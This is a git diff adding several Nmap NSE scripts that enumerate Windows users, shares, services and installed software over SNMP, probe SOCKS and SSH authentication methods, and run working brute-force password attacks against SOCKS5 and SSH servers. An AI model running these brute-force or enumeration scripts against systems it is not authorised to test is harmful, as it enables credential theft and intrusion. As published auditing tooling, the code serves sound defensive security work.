+-- <elem>Cryptographic Services</elem>
+-- <elem>DB2 - DB2COPY1 - DB2</elem>
+-- <elem>DB2 Management Service (DB2COPY1)</elem>
+-- <elem>DB2 Remote Command Server (DB2COPY1)</elem>
+-- <elem>DB2DAS - DB2DAS00</elem>
+-- <elem>DCOM Server Process Launcher</elem>
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"default", "discovery", "safe"}
+dependencies = {"snmp-brute"}
+
+-- Version 0.3
+-- Created 01/15/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+-- Revised 01/19/2010 - v0.2 - fixed loop that would occur if a mib did not exist
+-- Revised 04/11/2010 - v0.3 - moved snmp_walk to snmp library <patrik@cqure.net>
+
+
+portrule = shortport.port_or_service(161, "snmp", "udp", {"open", "open|filtered"})
+
+
+--- Processes the table and creates the script output
+--
+-- @param tbl table containing <code>oid</code> and <code>value</code>
+-- @return table containing just the values
+local function process_answer( tbl )
+
+ local new_tab = {}
+
+ for _, v in ipairs( tbl ) do
+ table.insert( new_tab, v.value )
+ end
+
+ table.sort( new_tab )
+
+ return new_tab
+
+end
+
+action = function(host, port)
+
+ local snmpoid = "1.3.6.1.4.1.77.1.2.3.1.1"
+ local services = {}
+ local status
+
+ local snmpHelper = snmp.Helper:new(host, port)
+ snmpHelper:connect()
+
+ status, services = snmpHelper:walk( snmpoid )
+
+ if ( not(status) ) or ( services == nil ) or ( #services == 0 ) then
+ return
+ end
+
+ services = process_answer(services)
+ nmap.set_port_state(host, port, "open")
+
+ return services
+end
+
diff --git a/scripts/snmp-win32-shares.nse b/scripts/snmp-win32-shares.nse
new file mode 100644
index 0000000..f135fcd
--- /dev/null
+++ b/scripts/snmp-win32-shares.nse
@@ -0,0 +1,100 @@
+local nmap = require "nmap"
+local shortport = require "shortport"
+local snmp = require "snmp"
+local stdnse = require "stdnse"
+
+description = [[
+Attempts to enumerate Windows Shares through SNMP.
+]]
+
+---
+-- @usage
+-- nmap -sU -p 161 --script=snmp-win32-shares <target>
+-- @output
+-- | snmp-win32-shares:
+-- | SYSVOL: C:\WINDOWS\sysvol\sysvol
+-- | NETLOGON: C:\WINDOWS\sysvol\sysvol\inspectit-labb.local\SCRIPTS
+-- |_ Webapps: C:\Program Files\Apache Software Foundation\Tomcat 5.5\webapps\ROOT
+--
+-- @xmloutput
+-- <elem key="SYSVOL">C:\WINDOWS\sysvol\sysvol</elem>
+-- <elem key="NETLOGON">C:\WINDOWS\sysvol\sysvol\inspectit-labb.local\SCRIPTS</elem>
+-- <elem key="Webapps">C:\Program Files\Apache Software Foundation\Tomcat 5.5\webapps\ROOT</elem>
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"default", "discovery", "safe"}
+dependencies = {"snmp-brute"}
+
+-- Version 0.3
+-- Created 01/15/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+-- Revised 01/19/2010 - v0.2 - fixed loop that would occur if a mib did not exist
+-- Revised 04/11/2010 - v0.3 - moved snmp_walk to snmp library <patrik@cqure.net>
+
+
+portrule = shortport.port_or_service(161, "snmp", "udp", {"open", "open|filtered"})
+
+--- Gets a value for the specified oid
+--
+-- @param tbl table containing <code>oid</code> and <code>value</code>
+-- @param oid string containing the object id for which the value should be extracted
+-- @return value of relevant type or nil if oid was not found
+local function get_value_from_table( tbl, oid )
+
+ for _, v in ipairs( tbl ) do
+ if v.oid == oid then
+ return v.value
+ end
+ end
+
+ return nil
+end
+
+--- Processes the table and creates the script output
+--
+-- @param tbl table containing <code>oid</code> and <code>value</code>
+-- @return an output table with (sharename, path) pairs
+local function process_answer( tbl )
+
+ local share_name = "1.3.6.1.4.1.77.1.2.27.1.1"
+ local share_path = "1.3.6.1.4.1.77.1.2.27.1.2"
+ local new_tbl = stdnse.output_table()
+
+ for _, v in ipairs( tbl ) do
+
+ if ( v.oid:match("^" .. share_name) ) then
+ local objid = v.oid:gsub( "^" .. share_name, share_path)
+ local path = get_value_from_table( tbl, objid )
+
+ new_tbl[v.value] = path
+ end
+
+ end
+
+ return new_tbl
+
+end
+
+
+action = function(host, port)
+
+ local data, snmpoid = nil, "1.3.6.1.4.1.77.1.2.27"
+ local shares = {}
+ local status
+
+ local snmpHelper = snmp.Helper:new(host, port)
+ snmpHelper:connect()
+
+ status, shares = snmpHelper:walk( snmpoid )
+
+ if (not(status)) or ( shares == nil ) or ( #shares == 0 ) then
+ return
+ end
+
+ shares = process_answer( shares )
+
+ nmap.set_port_state(host, port, "open")
+
+ return shares
+end
+
diff --git a/scripts/snmp-win32-software.nse b/scripts/snmp-win32-software.nse
new file mode 100644
index 0000000..062fbd3
--- /dev/null
+++ b/scripts/snmp-win32-software.nse
@@ -0,0 +1,163 @@
+local datetime = require "datetime"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local snmp = require "snmp"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+description = [[
+Attempts to enumerate installed software through SNMP.
+]]
+
+---
+-- @usage
+-- nmap -sU -p 161 --script=snmp-win32-software <target>
+-- @output
+-- | snmp-win32-software:
+-- | Apache Tomcat 5.5 (remove only); 2007-09-15T15:13:18
+-- | Microsoft Internationalized Domain Names Mitigation APIs; 2007-09-15T15:13:18
+-- | Security Update for Windows Media Player (KB911564); 2007-09-15T15:13:18
+-- | Security Update for Windows Server 2003 (KB924667-v2); 2007-09-15T15:13:18
+-- | Security Update for Windows Media Player 6.4 (KB925398); 2007-09-15T15:13:18
+-- | Security Update for Windows Server 2003 (KB925902); 2007-09-15T15:13:18
+-- |_ Windows Internet Explorer 7; 2007-09-15T15:13:18
+--
+-- @xmloutput
+-- <table>
+-- <elem key="name">Apache Tomcat 5.5 (remove only)</elem>
+-- <elem key="install_date">2007-09-15T15:13:18</elem>
+-- </table>
+-- <table>
+-- <elem key="name">Microsoft Internationalized Domain Names Mitigation APIs</elem>
+-- <elem key="install_date">2007-09-15T15:13:18</elem>
+-- </table>
+-- <table>
+-- <elem key="name">Security Update for Windows Media Player (KB911564)</elem>
+-- <elem key="install_date">2007-09-15T15:13:18</elem>
+-- </table>
+-- <table>
+-- <elem key="name">Security Update for Windows Server 2003 (KB924667-v2)</elem>
+-- <elem key="install_date">2007-09-15T15:13:18</elem>
+-- </table>
+-- <table>
+-- <elem key="name">Security Update for Windows Media Player 6.4 (KB925398)</elem>
+-- <elem key="install_date">2007-09-15T15:13:18</elem>
+-- </table>
+-- <table>
+-- <elem key="name">Security Update for Windows Server 2003 (KB925902)</elem>
+-- <elem key="install_date">2007-09-15T15:13:18</elem>
+-- </table>
+-- <table>
+-- <elem key="name">Windows Internet Explorer 7</elem>
+-- <elem key="install_date">2007-09-15T15:13:18</elem>
+-- </table>
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"default", "discovery", "safe"}
+dependencies = {"snmp-brute"}
+
+-- Version 0.3
+-- Created 01/15/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+-- Revised 01/19/2010 - v0.2 - fixed loop that would occur if a mib did not exist
+-- Revised 04/11/2010 - v0.3 - moved snmp_walk to snmp library <patrik@cqure.net>
+
+
+portrule = shortport.port_or_service(161, "snmp", "udp", {"open", "open|filtered"})
+
+--- Gets a value for the specified oid
+--
+-- @param tbl table containing <code>oid</code> and <code>value</code>
+-- @param oid string containing the object id for which the value should be extracted
+-- @return value of relevant type or nil if oid was not found
+local function get_value_from_table( tbl, oid )
+
+ for _, v in ipairs( tbl ) do
+ if v.oid == oid then
+ return v.value
+ end
+ end
+
+ return nil
+end
+
+local date_xlate = {
+ year = 1,
+ month = 2,
+ day = 3,
+ hour = 4,
+ min = 5,
+ sec = 6
+}
+
+-- translate date parts to positional indices for datetime.format_timestamp
+local date_metatab = {
+ __index = function (t, k)
+ return t[date_xlate[k]]
+ end
+}
+
+local sw_metatab = {
+ __tostring = function (t)
+ return ("%s; %s"):format(t.name , t.install_date)
+ end
+}
+
+--- Processes the table and creates the script output
+--
+-- @param tbl table containing <code>oid</code> and <code>value</code>
+-- @return table suitable for <code>stdnse.format_output</code>
+local function process_answer( tbl )
+
+ local sw_name = "^1.3.6.1.2.1.25.6.3.1.2"
+ local sw_date = "1.3.6.1.2.1.25.6.3.1.5"
+ local new_tbl = {}
+
+ for _, v in ipairs( tbl ) do
+
+ if ( v.oid:match(sw_name) ) then
+ local objid = v.oid:gsub(sw_name, sw_date)
+ local install_date = get_value_from_table( tbl, objid )
+ local install_date_tab = { string.unpack( ">I2 BBBBB", install_date ) }
+ setmetatable(install_date_tab, date_metatab)
+
+ local sw_item = {
+ ["name"] = v.value,
+ ["install_date"] = datetime.format_timestamp(install_date_tab)
+ }
+
+ setmetatable(sw_item, sw_metatab)
+ table.insert( new_tbl, sw_item )
+ end
+
+ end
+
+ table.sort( new_tbl, function(a, b) return a.name < b.name end )
+ return new_tbl
+
+end
+
+
+action = function(host, port)
+
+ local data, snmpoid = nil, "1.3.6.1.2.1.25.6.3.1"
+ local sw = {}
+ local status
+
+ local snmpHelper = snmp.Helper:new(host, port)
+ snmpHelper:connect()
+
+ status, sw = snmpHelper:walk( snmpoid )
+
+ if ( not(status) ) or ( sw == nil ) or ( #sw == 0 ) then
+ return
+ end
+
+ sw = process_answer( sw )
+
+ nmap.set_port_state(host, port, "open")
+
+ return sw
+end
+
diff --git a/scripts/snmp-win32-users.nse b/scripts/snmp-win32-users.nse
new file mode 100644
index 0000000..6576c35
--- /dev/null
+++ b/scripts/snmp-win32-users.nse
@@ -0,0 +1,92 @@
+local nmap = require "nmap"
+local shortport = require "shortport"
+local snmp = require "snmp"
+local table = require "table"
+
+description = [[
+Attempts to enumerate Windows user accounts through SNMP
+]]
+
+---
+-- @usage
+-- nmap -sU -p 161 --script=snmp-win32-users <target>
+-- @output
+-- | snmp-win32-users:
+-- | Administrator
+-- | Guest
+-- | IUSR_EDUSRV011
+-- | IWAM_EDUSRV011
+-- | SUPPORT_388945a0
+-- | Tomcat
+-- | db2admin
+-- | ldaptest
+-- |_ patrik
+-- @xmloutput
+-- <elem>Administrator</elem>
+-- <elem>Guest</elem>
+-- <elem>IUSR_EDUSRV011</elem>
+-- <elem>IWAM_EDUSRV011</elem>
+-- <elem>SUPPORT_388945a0</elem>
+-- <elem>Tomcat</elem>
+-- <elem>db2admin</elem>
+-- <elem>ldaptest</elem>
+-- <elem>patrik</elem>
+
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"default", "auth", "safe"}
+dependencies = {"snmp-brute"}
+
+-- Version 0.3
+-- Created 01/15/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+-- Revised 01/19/2010 - v0.2 - fixed loop that would occur if a mib did not exist
+-- Revised 04/11/2010 - v0.3 - moved snmp_walk to snmp library <patrik@cqure.net>
+
+
+portrule = shortport.port_or_service(161, "snmp", "udp", {"open", "open|filtered"})
+
+--- Processes the table and creates the script output
+--
+-- @param tbl table containing <code>oid</code> and <code>value</code>
+-- @return table with just the values
+local function process_answer( tbl )
+
+ local new_tab = {}
+
+ for _, v in ipairs( tbl ) do
+ table.insert( new_tab, v.value )
+ end
+
+ table.sort( new_tab )
+
+ return new_tab
+
+end
+
+action = function(host, port)
+
+ local snmpoid = "1.3.6.1.4.1.77.1.2.25"
+ local users = {}
+ local status
+
+ local snmpHelper = snmp.Helper:new(host, port)
+ snmpHelper:connect()
+
+ status, users = snmpHelper:walk( snmpoid )
+
+ if( not(status) ) then
+ return
+ end
+
+ users = process_answer( users )
+
+ if ( users == nil ) or ( #users == 0 ) then
+ return
+ end
+
+ nmap.set_port_state(host, port, "open")
+
+ return users
+end
+
diff --git a/scripts/socks-auth-info.nse b/scripts/socks-auth-info.nse
new file mode 100644
index 0000000..091e6d0
--- /dev/null
+++ b/scripts/socks-auth-info.nse
@@ -0,0 +1,65 @@
+local shortport = require "shortport"
+local socks = require "socks"
+local table = require "table"
+
+description = [[
+Determines the supported authentication mechanisms of a remote SOCKS
+proxy server. Starting with SOCKS version 5 socks servers may support
+authentication. The script checks for the following authentication
+types:
+ 0 - No authentication
+ 1 - GSSAPI
+ 2 - Username and password
+]]
+
+---
+-- @usage
+-- nmap -p 1080 <ip> --script socks-auth-info
+--
+-- @output
+-- PORT STATE SERVICE
+-- 1080/tcp open socks
+-- | socks-auth-info:
+-- | No authentication
+-- |_ Username and password
+--
+-- @xmloutput
+-- <table>
+-- <elem key="method">0</elem>
+-- <elem key="name">No authentication</elem>
+-- </table>
+-- <table>
+-- <elem key="method">2</elem>
+-- <elem key="name">Username and password</elem>
+-- </table>
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "safe", "default"}
+
+portrule = shortport.port_or_service({1080, 9050}, {"socks", "socks5", "tor-socks"})
+
+action = function(host, port)
+
+ local helper = socks.Helper:new(host, port)
+ local auth_methods = {}
+
+ -- iterate over all authentication methods as the server only responds with
+ -- a single supported one if we send a list.
+ local mt = { __tostring = function(t) return t.name end }
+ for _, method in pairs(socks.AuthMethod) do
+ local status, response = helper:connect( method )
+ if ( status ) then
+ local out = {
+ method = response.method,
+ name = helper:authNameByNumber(response.method)
+ }
+ setmetatable(out, mt)
+ table.insert(auth_methods, out)
+ end
+ end
+
+ helper:close()
+ if ( 0 == #auth_methods ) then return end
+ return auth_methods
+end
diff --git a/scripts/socks-brute.nse b/scripts/socks-brute.nse
new file mode 100644
index 0000000..1da8a53
--- /dev/null
+++ b/scripts/socks-brute.nse
@@ -0,0 +1,102 @@
+local brute = require "brute"
+local creds = require "creds"
+local shortport = require "shortport"
+local socks = require "socks"
+local stdnse = require "stdnse"
+
+description = [[
+Performs brute force password auditing against SOCKS 5 proxy servers.
+]]
+
+---
+-- @usage
+-- nmap --script socks-brute -p 1080 <host>
+--
+-- @output
+-- PORT STATE SERVICE
+-- 1080/tcp open socks
+-- | socks-brute:
+-- | Accounts
+-- | patrik:12345 - Valid credentials
+-- | Statistics
+-- |_ Performed 1921 guesses in 6 seconds, average tps: 320
+--
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"brute", "intrusive"}
+
+
+portrule = shortport.port_or_service({1080, 9050}, {"socks", "socks5", "tor-socks"})
+
+Driver = {
+
+ new = function (self, host, port)
+ local o = { host = host, port = port }
+ setmetatable (o,self)
+ self.__index = self
+ return o
+ end,
+
+ connect = function ( self )
+ self.helper = socks.Helper:new(self.host, self.port, { timeout = 10000 })
+ return self.helper:connect(nil, brute.new_socket())
+ end,
+
+ login = function( self, username, password )
+ local status, err = self.helper:authenticate({username=username, password=password})
+
+ if (not(status)) then
+ -- the login failed
+ if ( "Authentication failed" == err ) then
+ return false, brute.Error:new( "Login failed" )
+ end
+
+ -- something else happened, let's retry
+ local err = brute.Error:new( err )
+ err:setRetry( true )
+ return false, err
+ end
+
+ return true, creds.Account:new(username, password, creds.State.VALID)
+ end,
+
+ disconnect = function( self )
+ return self.helper:close()
+ end,
+}
+
+local function checkAuth(host, port)
+
+ local helper = socks.Helper:new(host, port)
+ local status, response = helper:connect()
+ if ( not(status) ) then
+ return false, response
+ end
+
+ if ( response.method == socks.AuthMethod.NONE ) then
+ return false, "\n No authentication required"
+ end
+
+ local status, err = helper:authenticate({username="nmap", password="nmapbruteprobe"})
+ if ( err ~= "Authentication failed" ) then
+ return false, err
+ end
+
+ helper:close()
+ return true
+end
+
+action = function(host, port)
+
+ local status, response = checkAuth(host, port)
+ if ( not(status) ) then
+ return stdnse.format_output(false, response)
+ end
+
+ local engine = brute.Engine:new(Driver, host, port)
+ engine.options.script_name = SCRIPT_NAME
+ local result
+ status, result = engine:start()
+ return result
+end
diff --git a/scripts/socks-open-proxy.nse b/scripts/socks-open-proxy.nse
new file mode 100644
index 0000000..f5fcc0c
--- /dev/null
+++ b/scripts/socks-open-proxy.nse
@@ -0,0 +1,191 @@
+local proxy = require "proxy"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local url = require "url"
+
+description=[[
+Checks if an open socks proxy is running on the target.
+
+The script attempts to connect to a proxy server and send socks4 and
+socks5 payloads. It is considered an open proxy if the script receives
+a Request Granted response from the target port.
+
+The payloads try to open a connection to www.google.com port 80. A
+different test host can be passed as <code>proxy.url</code>
+argument.
+]]
+---
+--@output
+-- PORT STATE SERVICE
+-- 1080/tcp open socks
+-- | socks-open-proxy:
+-- | status: open
+-- | versions:
+-- | socks4
+-- |_ socks5
+--
+--@xmloutput
+--<elem key="status">open</elem>
+--<table key="versions">
+-- <elem>socks4</elem>
+-- <elem>socks5</elem>
+--</table>
+--@usage
+-- nmap --script=socks-open-proxy \
+-- --script-args proxy.url=<host>,proxy.pattern=<pattern>
+
+author = "Joao Correa"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"default", "discovery", "external", "safe"}
+
+
+--- Performs the custom test, with user's arguments
+-- @param host The host table
+-- @param port The port table
+-- @param test_url The url to request
+-- @param pattern The pattern to check for valid result
+-- @return status If any request succeeded
+-- @return response Table with supported methods
+local function custom_test(host, port, test_url, pattern)
+ local status4, status5, fstatus, cstatus4, cstatus5
+ local get_r4, get_r5
+ local methods
+ local response = {}
+
+ -- strip hostname
+ if not string.match(test_url, "^http://.*") then
+ test_url = "http://" .. test_url
+ stdnse.debug1("URL missing scheme. URL concatenated to http://")
+ end
+ local url_table = url.parse(test_url)
+ local hostname = url_table.host
+ test_url = url_table.path
+
+ -- make requests
+ status4, get_r4, cstatus4 = proxy.test_get(host, port, "socks4", test_url, hostname, pattern)
+ status5, get_r5, cstatus5 = proxy.test_get(host, port, "socks5", test_url, hostname, pattern)
+
+ fstatus = status4 or status5
+ if(cstatus4) then response[#response+1]="socks4" end
+ if(cstatus5) then response[#response+1]="socks5" end
+ if(fstatus) then return fstatus, response end
+
+ -- Nothing works...
+ if not (cstatus4 or cstatus5) then
+ return false, nil
+ else
+ return "pattern not matched", response
+ end
+end
+
+--- Performs the default test
+-- First: Default google request and checks for Server: gws
+-- Second: Request to wikipedia.org and checks for wikimedia pattern
+-- Third: Request to computerhistory.org and checks for museum pattern
+--
+-- If any of the requests is successful, the proxy is considered open.
+-- If all requests return the same result, the user is alerted that
+-- the proxy might be redirecting his requests (very common on wi-fi
+-- connections at airports, cafes, etc.)
+--
+-- @param host The host table
+-- @param port The port table
+-- @return status If any request succeeded
+-- @return response Table with supported methods
+local function default_test(host, port)
+ local status4, status5, fstatus
+ local cstatus4, cstatus5
+ local get_r4, get_r5
+ local methods
+ local response = {}
+
+ local test_url = "/"
+ local hostname = "www.google.com"
+ local pattern = "^server: gws"
+ status4, get_r4, cstatus4 = proxy.test_get(host, port, "socks4", test_url, hostname, pattern)
+ status5, get_r5, cstatus5 = proxy.test_get(host, port, "socks5", test_url, hostname, pattern)
+
+ fstatus = status4 or status5
+ if(cstatus4) then response[#response+1]="socks4" end
+ if(cstatus5) then response[#response+1]="socks5" end
+ if(fstatus) then return fstatus, response end
+
+ -- if we receive a invalid response, but with a valid
+ -- response code, we should make a next attempt.
+ -- if we do not receive any valid status code,
+ -- there is no reason to keep testing... the proxy is probably not open
+ if not (cstatus4 or cstatus5) then return false, nil end
+ stdnse.debug1("Test 1 - Google Web Server: Received valid status codes, but pattern does not match")
+
+ test_url = "/"
+ hostname = "www.wikipedia.org"
+ pattern = "wikimedia"
+ status4, get_r4, cstatus4 = proxy.test_get(host, port, "socks4", test_url, hostname, pattern)
+ status5, get_r5, cstatus5 = proxy.test_get(host, port, "socks5", test_url, hostname, pattern)
+
+ if(status4) then fstatus = true; response[#response+1]="socks4" end
+ if(status5) then fstatus = true; response[#response+1]="socks5" end
+ if(fstatus) then return fstatus, response end
+
+ if not (cstatus4 or cstatus5) then return false, nil end
+ stdnse.debug1("Test 2 - Wikipedia.org: Received valid status codes, but pattern does not match")
+
+ local redir_check_get = get_r4 or get_r5
+
+ test_url = "/"
+ hostname = "www.computerhistory.org"
+ pattern = "museum"
+ status4, get_r4, cstatus4 = proxy.test_get(host, port, "socks4", test_url, hostname, pattern)
+ status5, get_r5, cstatus5 = proxy.test_get(host, port, "socks5", test_url, hostname, pattern)
+
+ if(status4) then fstatus = true; response[#response+1]="socks4" end
+ if(status5) then fstatus = true; response[#response+1]="socks5" end
+ if(fstatus) then return fstatus, response end
+
+ if not (cstatus4 or cstatus5) then return false, nil end
+ stdnse.debug1("Test 3 - Computer History: Received valid status codes, but pattern does not match")
+
+ -- Check if GET is being redirected
+ if proxy.redirectCheck(get_r4 or get_r5, redir_check_get) then
+ return "redirecting", response
+ end
+
+ -- Protocol works, but nothing matches
+ return "pattern not matched", response
+
+end
+
+portrule = shortport.port_or_service({1080, 9050},
+ {"socks", "socks4", "socks5", "tor-socks"})
+
+action = function(host, port)
+ local supported_versions
+ local fstatus = false
+ local pattern, test_url
+ local def_test = true
+ local hostname
+ local retval = stdnse.output_table()
+
+ test_url, pattern = proxy.return_args()
+
+ if(test_url) then def_test = false end
+ if(pattern) then pattern = ".*" .. pattern .. ".*" end
+
+ if def_test
+ then fstatus, supported_versions = default_test(host, port)
+ else fstatus, supported_versions = custom_test(host, port, test_url, pattern)
+ end
+
+ -- If any of the tests were OK, then the proxy is potentially open
+ if fstatus == true then
+ retval["status"] = "open"
+ retval["versions"] = supported_versions
+ return retval
+ elseif fstatus and supported_versions then
+ retval["status"] = fstatus
+ retval["versions"] = supported_versions
+ return retval
+ end
+
+end
diff --git a/scripts/ssh-auth-methods.nse b/scripts/ssh-auth-methods.nse
new file mode 100644
index 0000000..dd66213
--- /dev/null
+++ b/scripts/ssh-auth-methods.nse
@@ -0,0 +1,43 @@
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local libssh2_util = require "libssh2-utility"
+local rand = require "rand"
+
+description = [[
+Returns authentication methods that a SSH server supports.
+
+This is in the "intrusive" category because it starts an authentication with a
+username which may be invalid. The abandoned connection will likely be logged.
+]]
+
+---
+-- @usage
+-- nmap -p 22 --script ssh-auth-methods --script-args="ssh.user=<username>" <target>
+--
+-- @output
+-- 22/tcp open ssh syn-ack
+-- | ssh-auth-methods:
+-- | Supported authentication methods:
+-- | publickey
+-- |_ password
+
+author = "Devin Bjelland"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"auth", "intrusive"}
+
+local username = stdnse.get_script_args("ssh.user") or rand.random_alpha(5)
+portrule = shortport.ssh
+
+function action (host, port)
+ local result = stdnse.output_table()
+ local helper = libssh2_util.SSHConnection:new()
+ if not helper:connect(host, port) then
+ return "Failed to connect to ssh server"
+ end
+
+ local authmethods = helper:list(username)
+
+ result["Supported authentication methods"] = authmethods
+
+ return result
+end
diff --git a/scripts/ssh-brute.nse b/scripts/ssh-brute.nse
new file mode 100644
index 0000000..f3d3735
--- /dev/null
+++ b/scripts/ssh-brute.nse
@@ -0,0 +1,113 @@
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local brute = require "brute"
+local creds = require "creds"
+
+local libssh2_util = require "libssh2-utility"
+
+description = [[
+Performs brute-force password guessing against ssh servers.
+]]
+
+---
+-- @usage
+-- nmap -p 22 --script ssh-brute --script-args userdb=users.lst,passdb=pass.lst,ssh-brute.timeout=4s <target>
+--
+-- @output
+-- 22/ssh open ssh
+-- | ssh-brute:
+-- | Accounts
+-- | username:password
+-- | Statistics
+-- |_ Performed 32 guesses in 25 seconds.
+--
+-- @args ssh-brute.timeout Connection timeout (default: "5s")
+
+author = "Devin Bjelland"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {
+ 'brute',
+ 'intrusive',
+}
+
+portrule = shortport.ssh
+
+local arg_timeout = stdnse.get_script_args(SCRIPT_NAME .. ".timeout") or "5s"
+
+Driver = {
+ new = function (self, host, port, options)
+ stdnse.debug(2, "creating brute driver")
+ local o = {
+ helper = libssh2_util.SSHConnection:new(),
+ }
+ setmetatable(o, self)
+ self.__index = self
+ o.host = host
+ o.port = port
+ o.options = options
+ return o
+ end,
+
+ connect = function (self)
+ local status, err = self.helper:connect_pcall(self.host, self.port)
+ if not status then
+ stdnse.debug(2, "libssh2 error: %s", self.helper.session)
+ local err = brute.Error:new(self.helper.session)
+ err:setReduce(true)
+ return false, err
+ elseif not self.helper.session then
+ stdnse.debug(2, "failure to connect: %s", err)
+ local err = brute.Error:new(err)
+ err:setAbort(true)
+ return false, err
+ else
+ self.helper:set_timeout(self.options.ssh_timeout)
+ return true
+ end
+ end,
+
+ login = function (self, username, password)
+ stdnse.verbose(1, "Trying username/password pair: %s:%s", username, password)
+ local status, resp = self.helper:password_auth(username, password)
+ if status then
+ return true, creds.Account:new(username, password, creds.State.VALID)
+ end
+ return false, brute.Error:new "Incorrect password"
+ end,
+
+ disconnect = function (self)
+ return self.helper:disconnect()
+ end,
+}
+
+local function password_auth_allowed (host, port)
+ local helper = libssh2_util.SSHConnection:new()
+ if not helper:connect(host, port) then
+ return "Failed to connect to ssh server"
+ end
+ local methods = helper:list "root"
+ if methods then
+ for _, value in pairs(methods) do
+ if value == "password" then
+ return true
+ end
+ end
+ end
+ return false
+end
+
+function action (host, port)
+ local timems = stdnse.parse_timespec(arg_timeout) --todo: use this!
+ local ssh_timeout = 1000 * timems
+ if password_auth_allowed(host, port) then
+ local options = {
+ ssh_timeout = ssh_timeout,
+ }
+ local engine = brute.Engine:new(Driver, host, port, options)
+ engine.options.script_name = SCRIPT_NAME
+ local _, result = engine:start()
+ return result
+ else
+ return "Password authentication not allowed"
+ end
+end
diff --git a/scripts/ssh-hostkey.nse b/scripts/ssh-hostkey.nse
new file mode 100644
index 0000000..5b50697
--- /dev/null
+++ b/scripts/ssh-hostkey.nse
@@ -0,0 +1,424 @@
+local ipOps = require "ipOps"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local ssh1 = require "ssh1"
+local ssh2 = require "ssh2"
+local stdnse = require "stdnse"
+local string = require "string"
+local stringaux = require "stringaux"
+local table = require "table"
+local tableaux = require "tableaux"
+local base64 = require "base64"
+local comm = require "comm"
+
+local openssl = stdnse.silent_require "openssl"
+
+description = [[
+Shows SSH hostkeys.
+
+Shows the target SSH server's key fingerprint and (with high enough
+verbosity level) the public key itself. It records the discovered host keys
+in <code>nmap.registry</code> for use by other scripts. Output can be
+controlled with the <code>ssh_hostkey</code> script argument.
+
+You may also compare the retrieved key with the keys in your known-hosts
+file using the <code>known-hosts</code> argument.
+
+The script also includes a postrule that check for duplicate hosts using the
+gathered keys.
+]]
+
+---
+--@usage
+-- nmap host --script ssh-hostkey --script-args ssh_hostkey=full
+-- nmap host --script ssh-hostkey --script-args ssh_hostkey=all
+-- nmap host --script ssh-hostkey --script-args ssh_hostkey='visual bubble'
+--
+--@args ssh_hostkey Controls the output format of keys. Multiple values may be
+-- given, separated by spaces. Possible values are
+-- * <code>"full"</code>: The entire key, not just the fingerprint.
+-- * <code>"sha256"</code>: Base64-encoded SHA256 fingerprint.
+-- * <code>"md5"</code>: hex-encoded MD5 fingerprint (the default).
+-- * <code>"bubble"</code>: Bubble Babble output,
+-- * <code>"visual"</code>: Visual ASCII art representation.
+-- * <code>"all"</code>: All of the above.
+-- @args ssh-hostkey.known-hosts If this is set, the script will check if the
+-- known hosts file contains a key for the host being scanned and will compare
+-- it with the keys that have been found by the script. The script will try to
+-- detect your known-hosts file but you can, optionally, pass the path of the
+-- file to this option.
+--
+-- @args ssh-hostkey.known-hosts-path. Path to a known_hosts file.
+--@output
+-- 22/tcp open ssh
+-- | ssh-hostkey: 2048 f0:58:ce:f4:aa:a4:59:1c:8e:dd:4d:07:44:c8:25:11 (RSA)
+-- 22/tcp open ssh
+-- | ssh-hostkey: 2048 f0:58:ce:f4:aa:a4:59:1c:8e:dd:4d:07:44:c8:25:11 (RSA)
+-- | +--[ RSA 2048]----+
+-- | | .E*+ |
+-- | | oo |
+-- | | . o . |
+-- | | O . . |
+-- | | o S o . |
+-- | | = o + . |
+-- | | . * o . |
+-- | | = . |
+-- | | o . |
+-- |_ +-----------------+
+-- 22/tcp open ssh syn-ack
+-- | ssh-hostkey: Key comparison with known_hosts file:
+-- | GOOD Matches in known_hosts file:
+-- | L7: 199.19.117.60
+-- | L11: foo
+-- | L15: bar
+-- | L19: <unknown>
+-- | WRONG Matches in known_hosts file:
+-- | L3: 199.19.117.60
+-- | ssh-hostkey: 2048 xuvah-degyp-nabus-zegah-hebur-nopig-bubig-difeg-hisym-rumef-cuxex (RSA)
+-- |_ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwVuv2gcr0maaKQ69VVIEv2ob4OxnuI64fkeOnCXD1lUx5tTA+vefXUWEMxgMuA7iX4irJHy2zer0NQ3Z3yJvr5scPgTYIaEOp5Uo/eGFG9Agpk5wE8CoF0e47iCAPHqzlmP2V7aNURLMODb3jVZuI07A2ZRrMGrD8d888E2ORVORv1rYeTYCqcMMoVFmX9l3gWEdk4yx3w5sD8v501Iuyd1v19mPfyhrI5E1E1nl/Xjp5N0/xP2GUBrdkDMxKaxqTPMie/f0dXBUPQQN697a5q+5lBRPhKYOtn6yQKCd9s1Q22nxn72Jmi1RzbMyYJ52FosDT755Qmb46GLrDMaZMQ==
+--
+--@output
+-- Post-scan script results:
+-- | ssh-hostkey: Possible duplicate hosts
+-- | Key 1024 60:ac:4d:51:b1:cd:85:09:12:16:92:76:1d:5d:27:6e (DSA) used by:
+-- | 192.168.1.1
+-- | 192.168.1.2
+-- | Key 2048 2c:22:75:60:4b:c3:3b:18:a2:97:2c:96:7e:28:dc:dd (RSA) used by:
+-- | 192.168.1.1
+-- |_ 192.168.1.2
+--
